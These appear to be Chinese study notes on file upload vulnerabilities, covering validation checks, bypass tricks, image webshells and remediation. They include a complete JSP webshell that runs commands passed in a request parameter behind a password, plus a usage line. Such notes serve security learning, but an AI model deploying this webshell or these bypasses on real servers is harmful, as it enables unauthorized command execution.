验证/绕过

利用思路

文件上传利用条件
1.能上传
 2.能解析
 3.知道上传的路径且可以访问
文件上传常见验证:
后缀名,类型,文件头等
 后缀名:黑名单,白名单
 文件类型:MIME信息
 文件头:内容头信息
 %00只能在php5.3以下才会生效
图片马🐎
使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
 /a 表示一个 ASCII 文本文件
 /b 表示一个二进位文件
copy 1.jpg/b + 2.txt/a 3.jpg
 
尽量使用copy进行制作,手动修改可能破坏图片
二次渲染
【文件上传绕过】–二次渲染-CSDN博客
一句话jsp恶意代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
 
参数:pwd=023&i=id(ls或者其他也可)
上传参数名解析:明确哪些东西能修改
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改
常见绕过方法
数据溢出-防匹配(xxx…)
符号变异-防匹配(’ ‘’ ;)
数据截断-防匹配(%00 ; 换行)
重复匹配-防匹配(参数多次)
文件上传安全修复方案
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考uploadlabs函数
自定义函数过滤:function check_file(){}
waf防护产品:宝塔,云顿,安全公司产品等










